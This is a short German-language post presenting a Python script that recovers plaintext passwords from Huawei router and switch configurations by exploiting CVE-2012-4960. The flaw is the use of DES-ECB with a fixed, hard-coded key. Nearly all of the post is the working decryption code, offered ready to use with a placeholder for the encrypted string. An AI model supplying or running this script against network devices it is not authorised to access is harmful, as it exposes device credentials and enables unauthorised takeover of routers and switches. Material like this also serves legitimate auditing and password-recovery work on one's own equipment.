
Entschlüsselt Huawei-Router- und Switch-Passwörter mit DES-ECB-Modus, der die schwache Verschlüsselung CVE-2012-4960 ausnutzt. Python-Skript zur Passwortwiederherstellung von betroffenen Geräten.
In vielen Huawei-Produkten wird der DES-Verschlüsselungsalgorithmus für Passwörter verwendet, und die Verschlüsselung ist nicht stark genug, sodass sie geknackt werden kann.
Diese Sicherheitslücke wurde der Common Vulnerabilities and Exposures (CVE) ID zugewiesen:
CVE-2012-4960.
from Crypto.Cipher import DES
import binascii
def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')
def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff
out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)
j += 3
return "".join(out)
def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new(b"\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r_bytes = r.encode('latin-1')
r = d.decrypt(r_bytes)
return r.rstrip(b"\x00").decode('latin-1')
#the encrypted key must be 24 characters long
int = r"""Please insert the encrypted password here and respect the triple " on each side"""
print(decrypt_password(int))